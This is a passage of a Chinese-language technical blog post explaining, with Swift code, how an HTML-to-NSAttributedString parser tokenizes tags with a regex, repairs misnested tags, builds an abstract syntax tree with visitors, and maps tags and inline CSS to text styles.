+            self.tagAttributedString = tagAttributedString
+            self.attributes = attributes
+        }
+        
+        // 後續 Normalization 自動補位修正使用
+        func convertToCloseParsedItem() -> CloseItem {
+            return CloseItem(tagName: self.tagName)
+        }
+        
+        // 後續 Normalization 自動補位修正使用
+        func convertToSelfClosingParsedItem() -> SelfClosingItem {
+            return SelfClosingItem(tagName: self.tagName, tagAttributedString: self.tagAttributedString, attributes: self.attributes)
+        }
+    }
+    
+    class CloseItem {
+        let tagName: String
+        init(tagName: String) {
+            self.tagName = tagName
+        }
+    }
+}
+

使用的正則如下:

1
+
<(?:(?<closeTag>\/)?(?<tagName>[A-Za-z0-9]+)(?<tagAttributes>(?:\s*(\w+)\s*=\s*(["|']).*?\5)*)\s*(?<selfClosingTag>\/)?>)
+

-> Online Regex101 Playground

  • closeTag: 匹配 < / a>
  • tagName: 匹配 < a > or , </ a >
  • tagAttributes: 匹配 <a href=”https://zhgchg.li” style=”color:red” >
  • selfClosingTag: 匹配 <br / >

*此正則還可以再優化,之後再來做

文章後半段有提供關於正則的附加資料,有興趣的朋友可以參考。

組合起來就是:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+
var tokenizationResult: [HTMLParsedResult] = []
+
+let expression = try? NSRegularExpression(pattern: pattern, options: expressionOptions)
+let attributedString = NSAttributedString(string: "<a>Li<b>nk</a>Bold</b>")
+let totalLength = attributedString.string.utf16.count // utf-16 support emoji
+var lastMatch: NSTextCheckingResult?
+
+// Start Tags Stack, 先進後出(FILO First In Last Out)
+// 檢測 HTML 字串是否需要後續 Normalization 修正錯位或補 Self-Closing Tag
+var stackStartItems: [HTMLParsedResult.StartItem] = []
+var needForamatter: Bool = false
+
+expression.enumerateMatches(in: attributedString.string, range: NSMakeRange(0, totoalLength)) { match, _, _ in
+  if let match = match {
+    // 檢查 Tag 之間或是到第一個 Tag 之間的字串
+    // e.g. Test<a>Link</a>zzz<b>bold</b>Test2 - > Test,zzz
+    let lastMatchEnd = lastMatch?.range.upperBound ?? 0
+    let currentMatchStart = match.range.lowerBound
+    if currentMatchStart > lastMatchEnd {
+      let rawStringBetweenTag = attributedString.attributedSubstring(from: NSMakeRange(lastMatchEnd, (currentMatchStart - lastMatchEnd)))
+      tokenizationResult.append(.rawString(rawStringBetweenTag))
+    }
+
+    // <a href="https://zhgchg.li">, </a>
+    let matchAttributedString = attributedString.attributedSubstring(from: match.range)
+    // a, a
+    let matchTag = attributedString.attributedSubstring(from: match.range(withName: "tagName"))?.string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
+    // false, true
+    let matchIsEndTag = matchResult.attributedString(from: match.range(withName: "closeTag"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == "/"
+    // href="https://zhgchg.li", nil
+    // 用正則再拆出 HTML Attribute, to [String: String], 請參考 Source Code
+    let matchTagAttributes = parseAttributes(matchResult.attributedString(from: match.range(withName: "tagAttributes")))
+    // false, false
+    let matchIsSelfClosingTag = matchResult.attributedString(from: match.range(withName: "selfClosingTag"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == "/"
+
+    if let matchAttributedString = matchAttributedString,
+       let matchTag = matchTag {
+        if matchIsSelfClosingTag {
+          // e.g. <br/>
+          tokenizationResult.append(.selfClosing(.init(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes)))
+        } else {
+          // e.g. <a> or </a>
+          if matchIsEndTag {
+            // e.g. </a>
+            // 從 Stack 取出出現相同 TagName 的位置,從最後開始
+            if let index = stackStartItems.lastIndex(where: { $0.tagName == matchTag }) {
+              // 如果不是最後一個,代表有錯位或遺漏關閉的 Tag
+              if index != stackStartItems.count - 1 {
+                  needForamatter = true
+              }
+              tokenizationResult.append(.close(.init(tagName: matchTag)))
+              stackStartItems.remove(at: index)
+            } else {
+              // 多餘的 close tag e.g </a>
+              // 不影響後續,直接忽略
+            }
+          } else {
+            // e.g. <a>
+            let startItem: HTMLParsedResult.StartItem = HTMLParsedResult.StartItem(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes)
+            tokenizationResult.append(.start(startItem))
+            // 塞到 Stack
+            stackStartItems.append(startItem)
+          }
+        }
+     }
+
+    lastMatch = match
+  }
+}
+
+// 檢查結尾的 RawString
+// e.g. Test<a>Link</a>Test2 - > Test2
+if let lastMatch = lastMatch {
+  let currentIndex = lastMatch.range.upperBound
+  if totoalLength > currentIndex {
+    // 還有剩餘字串
+    let resetString = attributedString.attributedSubstring(from: NSMakeRange(currentIndex, (totoalLength - currentIndex)))
+    tokenizationResult.append(.rawString(resetString))
+  }
+} else {
+  // lastMatch = nil, 代表沒找到任何標籤,全都是純文字
+  let resetString = attributedString.attributedSubstring(from: NSMakeRange(0, totoalLength))
+  tokenizationResult.append(.rawString(resetString))
+}
+
+// 檢查 Stack 是否已經清空,如果還有代表有 Start Tag 沒有對應的 End
+// 標記成孤立 Start Tag
+for stackStartItem in stackStartItems {
+  stackStartItem.isIsolated = true
+  needForamatter = true
+}
+
+print(tokenizationResult)
+// [
+//    .start("a",["href":"https://zhgchg.li"])
+//    .rawString("Li")
+//    .start("b",nil)
+//    .rawString("nk")
+//    .close("a")
+//    .rawString("Bold")
+//    .close("b")
+// ]
+

運作流程如上圖

運作流程如上圖

最終會得到一個 Tokenization 結果陣列。

對應原始碼中的 HTMLStringToParsedResultProcessor.swift 實作

標準化 — Normalization

a.k.a Formatter, 正規化

繼上一步取得初步解析結果後,解析中如果發現還需要 Normalization,則需要此步驟,自動修正 HTML Tag 問題。

HTML Tag 問題有以下三種:

  • HTML Tag 但遺漏 Close Tag: 例如 &lt;br&gt;
  • 一般文字被當成 HTML Tag: 例如 &lt;Congratulation!&gt;
  • HTML Tag 存在錯位問題: 例如 &lt;a&gt;Li&lt;b&gt;nk&lt;/a&gt;Bold&lt;/b&gt;

修正方式也很簡單,我們需要遍歷 Tokenization 結果的元素,嘗試補齊缺漏。

運作流程如上圖

運作流程如上圖

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+
var normalizationResult = tokenizationResult
+
+// Start Tags Stack, 先進後出(FILO First In Last Out)
+var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []
+var itemIndex = 0
+while itemIndex < newItems.count {
+    switch newItems[itemIndex] {
+    case .start(let item):
+        if item.isIsolated {
+            // 如果為孤立 Start Tag
+            if WC3HTMLTagName(rawValue: item.tagName) == nil && (item.attributes?.isEmpty ?? true) {
+                // 如果不是 WCS 定義的 HTML Tag & 沒有任何 HTML Attribute
+                // WC3HTMLTagName Enum 可參考 Source Code
+                // 判定為 一般文字被當成 HTML Tag
+                // 改成 raw string type
+                normalizationResult[itemIndex] = .rawString(item.tagAttributedString)
+            } else {
+                // 否則,改成 self-closing tag, e.g. <br> -> <br/>
+                normalizationResult[itemIndex] = .selfClosing(item.convertToSelfClosingParsedItem())
+            }
+            itemIndex += 1
+        } else {
+            // 正常 Start Tag, 加入 Stack
+            stackExpectedStartItems.append(item)
+            itemIndex += 1
+        }
+    case .close(let item):
+        // 遇到 Close Tag
+        // 取得 Start Stack Tag 到此 Close Tag 中間隔的 Tags
+        // e.g <a><u><b>[CurrentIndex]</a></u></b> -> 間隔 0
+        // e.g <a><u><b>[CurrentIndex]</a></u></b> -> 間隔 b,u
+
+        let reversedStackExpectedStartItems = Array(stackExpectedStartItems.reversed())
+        guard let reversedStackExpectedStartItemsOccurredIndex = reversedStackExpectedStartItems.firstIndex(where: { $0.tagName == item.tagName }) else {
+            itemIndex += 1
+            continue
+        }
+        
+        let reversedStackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItems.prefix(upTo: reversedStackExpectedStartItemsOccurredIndex))
+        
+        // 間隔 0, 代表 tag 沒錯位
+        guard reversedStackExpectedStartItemsOccurred.count != 0 else {
+            // is pair, pop
+            stackExpectedStartItems.removeLast()
+            itemIndex += 1
+            continue
+        }
+        
+        // 有其他間隔,自動在前候補期間格 Tag
+        // e.g <a><u><b>[CurrentIndex]</a></u></b> ->
+        // e.g <a><u><b>[CurrentIndex]</b></u></a><b></u></u></b>
+        let stackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItemsOccurred.reversed())
+        let afterItems = stackExpectedStartItemsOccurred.map({ HTMLParsedResult.start($0) })
+        let beforeItems = reversedStackExpectedStartItemsOccurred.map({ HTMLParsedResult.close($0.convertToCloseParsedItem()) })
+        normalizationResult.insert(contentsOf: afterItems, at: newItems.index(after: itemIndex))
+        normalizationResult.insert(contentsOf: beforeItems, at: itemIndex)
+        
+        itemIndex = newItems.index(after: itemIndex) + stackExpectedStartItemsOccurred.count
+        
+        // 更新 Start Stack Tags
+        // e.g. -> b,u
+        stackExpectedStartItems.removeAll { startItem in
+            return reversedStackExpectedStartItems.prefix(through: reversedStackExpectedStartItemsOccurredIndex).contains(where: { $0 === startItem })
+        }
+    case .selfClosing, .rawString:
+        itemIndex += 1
+    }
+}
+
+print(normalizationResult)
+// [
+//    .start("a",["href":"https://zhgchg.li"])
+//    .rawString("Li")
+//    .start("b",nil)
+//    .rawString("nk")
+//    .close("b")
+//    .close("a")
+//    .start("b",nil)
+//    .rawString("Bold")
+//    .close("b")
+// ]
+

對應原始碼中的 HTMLParsedResultFormatterProcessor.swift 實作

Abstract Syntax Tree

a.k.a AST, 抽象樹

經過 Tokenization & Normalization 資料預處理完成後,再來要將結果轉換成抽象樹🌲。

如上圖

如上圖

轉換成抽象樹可以方便我們日後的操作及擴充,例如實現 Selector 功能或是做其他轉換,例如 HTML To Markdown;亦或是日後想增加 Markdown to NSAttributedString,只需實現 Markdown 的 Tokenization & Normalization 就能完成。

首先我們定義一個 Markup Protocol,有 Child & Parent 屬性,紀錄葉子跟樹枝的資訊:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
protocol Markup: AnyObject {
+    var parentMarkup: Markup? { get set }
+    var childMarkups: [Markup] { get set }
+    
+    func appendChild(markup: Markup)
+    func prependChild(markup: Markup)
+    func accept<V: MarkupVisitor>(_ visitor: V) -> V.Result
+}
+
+extension Markup {
+    func appendChild(markup: Markup) {
+        markup.parentMarkup = self
+        childMarkups.append(markup)
+    }
+    
+    func prependChild(markup: Markup) {
+        markup.parentMarkup = self
+        childMarkups.insert(markup, at: 0)
+    }
+}
+

另外搭配使用 Visitor Pattern ,將每種樣式屬性都定義成一個物件 Element,再透過不同的 Visit 策略取得個別的套用結果。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
protocol MarkupVisitor {
+    associatedtype Result
+        
+    func visit(markup: Markup) -> Result
+    
+    func visit(_ markup: RootMarkup) -> Result
+    func visit(_ markup: RawStringMarkup) -> Result
+    
+    func visit(_ markup: BoldMarkup) -> Result
+    func visit(_ markup: LinkMarkup) -> Result
+    //...
+}
+
+extension MarkupVisitor {
+    func visit(markup: Markup) -> Result {
+        return markup.accept(self)
+    }
+}
+

基本 Markup 節點:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
// 根節點
+final class RootMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+// 葉節點
+final class RawStringMarkup: Markup {
+    let attributedString: NSAttributedString
+    
+    init(attributedString: NSAttributedString) {
+        self.attributedString = attributedString
+    }
+    
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+

定義 Markup 樣式節點:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
// 樹枝節點:
+
+// 連結樣式
+final class LinkMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+// 粗體樣式
+final class BoldMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+

對應原始碼中的 Markup 實作

轉換成抽象樹之前我們還需要…

MarkupComponent

因為我們的樹結構不與任何資料結構有依賴(例如 a 節點/LinkMarkup,應該要有 url 資訊才能做後續 Render)。 對此我們另外定義一個容器存放樹節點與節點相關的資料資訊:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
protocol MarkupComponent {
+    associatedtype T
+    var markup: Markup { get }
+    var value: T { get }
+    
+    init(markup: Markup, value: T)
+}
+
+extension Sequence where Iterator.Element: MarkupComponent {
+    func value(markup: Markup) -> Element.T? {
+        return self.first(where:{ $0.markup === markup })?.value as? Element.T
+    }
+}
+

對應原始碼中的 MarkupComponent 實作

也可將 Markup 宣告 Hashable ,直接使用 Dictionary 存放值 [Markup: Any] ,但是這樣 Markup 就不能被當一般 type 使用,要加上 any Markup

HTMLTag & HTMLTagName & HTMLTagNameVisitor

HTML Tag Name 部分我們也做了一層的抽象,讓使用者能自行決定有哪些 Tag 需要被處理,也能方便日後的擴充,例如: &lt;strong&gt; Tag Name 同樣可對應到 BoldMarkup

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
public protocol HTMLTagName {
+    var string: String { get }
+    func accept<V: HTMLTagNameVisitor>(_ visitor: V) -> V.Result
+}
+
+public struct A_HTMLTagName: HTMLTagName {
+    public let string: String = WC3HTMLTagName.a.rawValue
+    
+    public init() {
+        
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+
+public struct B_HTMLTagName: HTMLTagName {
+    public let string: String = WC3HTMLTagName.b.rawValue
+    
+    public init() {
+        
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+

對應原始碼中的 HTMLTagNameVisitor 實作

另外參考 W3C wiki 列舉了 HTML tag name enum: WC3HTMLTagName.swift

HTMLTag 則是單純一個容器物件,因為我們希望能讓外部指定 HTML Tag 對應到的樣式,所以宣告一個容器放在一起:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
struct HTMLTag {
+    let tagName: HTMLTagName
+    let customStyle: MarkupStyle? // 後面介紹 Render 會解釋
+    
+    init(tagName: HTMLTagName, customStyle: MarkupStyle? = nil) {
+        self.tagName = tagName
+        self.customStyle = customStyle
+    }
+}
+

對應原始碼中的 HTMLTag 實作

HTMLTagNameToHTMLMarkupVisitor

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
struct HTMLTagNameToMarkupVisitor: HTMLTagNameVisitor {
+    typealias Result = Markup
+    
+    let attributes: [String: String]?
+    
+    func visit(_ tagName: A_HTMLTagName) -> Result {
+        return LinkMarkup()
+    }
+    
+    func visit(_ tagName: B_HTMLTagName) -> Result {
+        return BoldMarkup()
+    }
+    //...
+}
+

對應原始碼中的 HTMLTagNameToHTMLMarkupVisitor 實作

轉換成抽象樹 with HTML 資料

我們要將 Normalization 後的 HTML 資料結果轉換成抽象樹,首先宣告一個能存放 HTML 資料的 MarkupComponent 資料結構:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
struct HTMLElementMarkupComponent: MarkupComponent {
+    struct HTMLElement {
+        let tag: HTMLTag
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+    }
+    
+    typealias T = HTMLElement
+    
+    let markup: Markup
+    let value: HTMLElement
+    init(markup: Markup, value: HTMLElement) {
+        self.markup = markup
+        self.value = value
+    }
+}
+

轉換成 Markup 抽象樹:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
var htmlElementComponents: [HTMLElementMarkupComponent] = []
+let rootMarkup = RootMarkup()
+var currentMarkup: Markup = rootMarkup
+
+let htmlTags: [String: HTMLTag]
+init(htmlTags: [HTMLTag]) {
+  self.htmlTags = Dictionary(uniqueKeysWithValues: htmlTags.map{ ($0.tagName.string, $0) })
+}
+
+// Start Tags Stack, 確保有正確 pop tag
+// 前面已經做過 Normalization 了, 應該不會出錯, 只是確保而已
+var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []
+for thisItem in from {
+    switch thisItem {
+    case .start(let item):
+        let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes)
+        let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName))
+        // 用 Visitor 問對應的 Markup
+        let markup = visitor.visit(tagName: htmlTag.tagName)
+        
+        // 把自己加入當前枝的葉節點
+        // 自己變成當前枝節點
+        htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes)))
+        currentMarkup.appendChild(markup: markup)
+        currentMarkup = markup
+        
+        stackExpectedStartItems.append(item)
+    case .selfClosing(let item):
+        // 直接加入當前枝的葉節點
+        let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes)
+        let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName))
+        let markup = visitor.visit(tagName: htmlTag.tagName)
+        htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes)))
+        currentMarkup.appendChild(markup: markup)
+    case .close(let item):
+        if let lastTagName = stackExpectedStartItems.popLast()?.tagName,
+           lastTagName == item.tagName {
+            // 遇到 Close Tag, 就回到上一層
+            currentMarkup = currentMarkup.parentMarkup ?? currentMarkup
+        }
+    case .rawString(let attributedString):
+        // 直接加入當前枝的葉節點
+        currentMarkup.appendChild(markup: RawStringMarkup(attributedString: attributedString))
+    }
+}
+
+// print(htmlElementComponents)
+// [(markup: LinkMarkup, (tag: a, attributes: ["href":"zhgchg.li"]...)]
+

運作結果如上圖

運作結果如上圖

對應原始碼中的 HTMLParsedResultToHTMLElementWithRootMarkupProcessor.swift 實作

此時,其實我們就完成 Selector 的功能了 🎉

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
public class HTMLSelector: CustomStringConvertible {
+    
+    let markup: Markup
+    let componets: [HTMLElementMarkupComponent]
+    init(markup: Markup, componets: [HTMLElementMarkupComponent]) {
+        self.markup = markup
+        self.componets = componets
+    }
+    
+    public func filter(_ htmlTagName: String) -> [HTMLSelector] {
+        let result = markup.childMarkups.filter({ componets.value(markup: $0)?.tag.tagName.isEqualTo(htmlTagName) ?? false })
+        return result.map({ .init(markup: $0, componets: componets) })
+    }
+
+    //...
+}
+

我們可以一層一層 Filter 葉節點物件。

對應原始碼中的 HTMLSelector 實作

Parser — HTML to MarkupSyle (Abstract of NSAttributedString.Key)

再來我們要先完成將 HTML 轉換成 MarkupStyle (NSAttributedString.Key)。

NSAttributedString 是透過 NSAttributedString.Key Attributes 來設定字的樣式,我們抽象出 NSAttributedString.Key 的所有欄位對應到 MarkupStyle,MarkupStyleColor,MarkupStyleFont,MarkupStyleParagraphStyle。

目的:

  • 原本的 Attributes 的資料結構是 [NSAttributedString.Key: Any?] ,如果直接暴露出去,我們很難控制使用者帶入的值,如果帶錯還會造成閃退,例如 .font: 123
  • 樣式需要可繼承,例如 &lt;a&gt;&lt;b&gt;test&lt;/b&gt;&lt;/a&gt; ,test 字串的樣式就是繼承自 link 的 bold (bold+linke);如果直接暴露 Dictionary 出去很難控制好繼承規
  • 封裝 iOS/macOS (UIKit/Appkit) 所屬物件

MarkupStyle Struct

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+
public struct MarkupStyle {
+    public var font:MarkupStyleFont
+    public var paragraphStyle:MarkupStyleParagraphStyle
+    public var foregroundColor:MarkupStyleColor? = nil
+    public var backgroundColor:MarkupStyleColor? = nil
+    public var ligature:NSNumber? = nil
+    public var kern:NSNumber? = nil
+    public var tracking:NSNumber? = nil
+    public var strikethroughStyle:NSUnderlineStyle? = nil
+    public var underlineStyle:NSUnderlineStyle? = nil
+    public var strokeColor:MarkupStyleColor? = nil
+    public var strokeWidth:NSNumber? = nil
+    public var shadow:NSShadow? = nil
+    public var textEffect:String? = nil
+    public var attachment:NSTextAttachment? = nil
+    public var link:URL? = nil
+    public var baselineOffset:NSNumber? = nil
+    public var underlineColor:MarkupStyleColor? = nil
+    public var strikethroughColor:MarkupStyleColor? = nil
+    public var obliqueness:NSNumber? = nil
+    public var expansion:NSNumber? = nil
+    public var writingDirection:NSNumber? = nil
+    public var verticalGlyphForm:NSNumber? = nil
+    //...
+
+    // 繼承自...
+    // 預設: 欄位為 nil 時,從 from 填入當前資料物件
+    mutating func fillIfNil(from: MarkupStyle?) {
+        guard let from = from else { return }
+        
+        var currentFont = self.font
+        currentFont.fillIfNil(from: from.font)
+        self.font = currentFont
+        
+        var currentParagraphStyle = self.paragraphStyle
+        currentParagraphStyle.fillIfNil(from: from.paragraphStyle)
+        self.paragraphStyle = currentParagraphStyle
+        //..
+    }
+
+    // MarkupStyle to NSAttributedString.Key: Any
+    func render() -> [NSAttributedString.Key: Any] {
+        var data: [NSAttributedString.Key: Any] = [:]
+        
+        if let font = font.getFont() {
+            data[.font] = font
+        }
+
+        if let ligature = self.ligature {
+            data[.ligature] = ligature
+        }
+        //...
+        return data
+    }
+}
+
+public struct MarkupStyleFont: MarkupStyleItem {
+    public enum FontWeight {
+        case style(FontWeightStyle)
+        case rawValue(CGFloat)
+    }
+    public enum FontWeightStyle: String {
+        case ultraLight, light, thin, regular, medium, semibold, bold, heavy, black
+        // ...
+    }
+    
+    public var size: CGFloat?
+    public var weight: FontWeight?
+    public var italic: Bool?
+    //...
+}
+
+public struct MarkupStyleParagraphStyle: MarkupStyleItem {
+    public var lineSpacing:CGFloat? = nil
+    public var paragraphSpacing:CGFloat? = nil
+    public var alignment:NSTextAlignment? = nil
+    public var headIndent:CGFloat? = nil
+    public var tailIndent:CGFloat? = nil
+    public var firstLineHeadIndent:CGFloat? = nil
+    public var minimumLineHeight:CGFloat? = nil
+    public var maximumLineHeight:CGFloat? = nil
+    public var lineBreakMode:NSLineBreakMode? = nil
+    public var baseWritingDirection:NSWritingDirection? = nil
+    public var lineHeightMultiple:CGFloat? = nil
+    public var paragraphSpacingBefore:CGFloat? = nil
+    public var hyphenationFactor:Float? = nil
+    public var usesDefaultHyphenation:Bool? = nil
+    public var tabStops: [NSTextTab]? = nil
+    public var defaultTabInterval:CGFloat? = nil
+    public var textLists: [NSTextList]? = nil
+    public var allowsDefaultTighteningForTruncation:Bool? = nil
+    public var lineBreakStrategy: NSParagraphStyle.LineBreakStrategy? = nil
+    //...
+}
+
+public struct MarkupStyleColor {
+    let red: Int
+    let green: Int
+    let blue: Int
+    let alpha: CGFloat
+    //...
+}
+

對應原始碼中的 MarkupStyle 實作

另外也參考 W3c wiki, browser predefined color name 列舉了對應 color name text & color R,G,B enum: MarkupStyleColorName.swift

HTMLTagStyleAttribute & HTMLTagStyleAttributeVisitor

這邊多提一下這兩個物件,因為 HTML Tag 是允許搭配從 CSS 設定樣式的;對此我們同 HTMLTagName 的抽象,再套用一次在 HTML Style Attribute 上。

例如 HTML 可能會給: &lt;a style=”color:red;font-size:14px”&gt;RedLink&lt;/a&gt; ,代表這個連結要設定成紅色、大小 14px。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
public protocol HTMLTagStyleAttribute {
+    var styleName: String { get }
+    
+    func accept<V: HTMLTagStyleAttributeVisitor>(_ visitor: V) -> V.Result
+}
+
+public protocol HTMLTagStyleAttributeVisitor {
+    associatedtype Result
+    
+    func visit(styleAttribute: HTMLTagStyleAttribute) -> Result
+    func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result
+    func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result
+    //...
+}
+
+public extension HTMLTagStyleAttributeVisitor {
+    func visit(styleAttribute: HTMLTagStyleAttribute) -> Result {
+        return styleAttribute.accept(self)
+    }
+}
+

對應原始碼中的 HTMLTagStyleAttribute 實作

HTMLTagStyleAttributeToMarkupStyleVisitor

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
struct HTMLTagStyleAttributeToMarkupStyleVisitor: HTMLTagStyleAttributeVisitor {
+    typealias Result = MarkupStyle?
+    
+    let value: String
+    
+    func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result {
+        // 正則挖取 Color Hex or Mapping from HTML Pre-defined Color Name, 請參考 Source Code
+        guard let color = MarkupStyleColor(string: value) else { return nil }
+        return MarkupStyle(foregroundColor: color)
+    }
+    
+    func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result {
+        // 正則挖取 10px -> 10, 請參考 Source Code
+        guard let size = self.convert(fromPX: value) else { return nil }
+        return MarkupStyle(font: MarkupStyleFont(size: CGFloat(size)))
+    }
+    // ...
+}
+

對應原始碼中的 HTMLTagAttributeToMarkupStyleVisitor.swift 實作

init 的 value = attribute 的值,依照 visit 類型轉換到對應 MarkupStyle 欄位。

HTMLElementMarkupComponentMarkupStyleVisitor

介紹完 MarkupStyle 物件後,我們要從 Normalization 的 HTMLElementComponents 結果轉換成 MarkupStyle。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+
// MarkupStyle 策略
+public enum MarkupStylePolicy {
+    case respectMarkupStyleFromCode // 從 Code 來的為主, 用 HTML Style Attribute 來的填空
+    case respectMarkupStyleFromHTMLStyleAttribute // 從 HTML Style Attribute 來的為主, 用 Code 來的填空
+}
+
+struct HTMLElementMarkupComponentMarkupStyleVisitor: MarkupVisitor {
+
+    typealias Result = MarkupStyle?
+    
+    let policy: MarkupStylePolicy
+    let components: [HTMLElementMarkupComponent]
+    let styleAttributes: [HTMLTagStyleAttribute]
+
+    func visit(_ markup: BoldMarkup) -> Result {
+        // .bold 只是定義在 MarkupStyle 中的預設樣式, 請參考 Source Code
+        return defaultVisit(components.value(markup: markup), defaultStyle: .bold)
+    }
+    
+    func visit(_ markup: LinkMarkup) -> Result {
+        // .link 只是定義在 MarkupStyle 中的預設樣式, 請參考 Source Code
+        var markupStyle = defaultVisit(components.value(markup: markup), defaultStyle: .link) ?? .link
+        
+        // 從 HtmlElementComponents 取得 LinkMarkup 對應的 HtmlElement
+        // 從 HtmlElement 中的 attributes 找 href 參數 (HTML 帶 URL String 的方式)
+        if let href = components.value(markup: markup)?.attributes?["href"] as? String,
+           let url = URL(string: href) {
+            markupStyle.link = url
+        }
+        return markupStyle
+    }
+
+    // ...
+}
+
+extension HTMLElementMarkupComponentMarkupStyleVisitor {
+    // 取得 HTMLTag 容器中指定想客製化的 MarkupStyle
+    private func customStyle(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?) -> MarkupStyle? {
+        guard let customStyle = htmlElement?.tag.customStyle else {
+            return nil
+        }
+        return customStyle
+    }
+    
+    // 預設動作
+    func defaultVisit(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?, defaultStyle: MarkupStyle? = nil) -> Result {
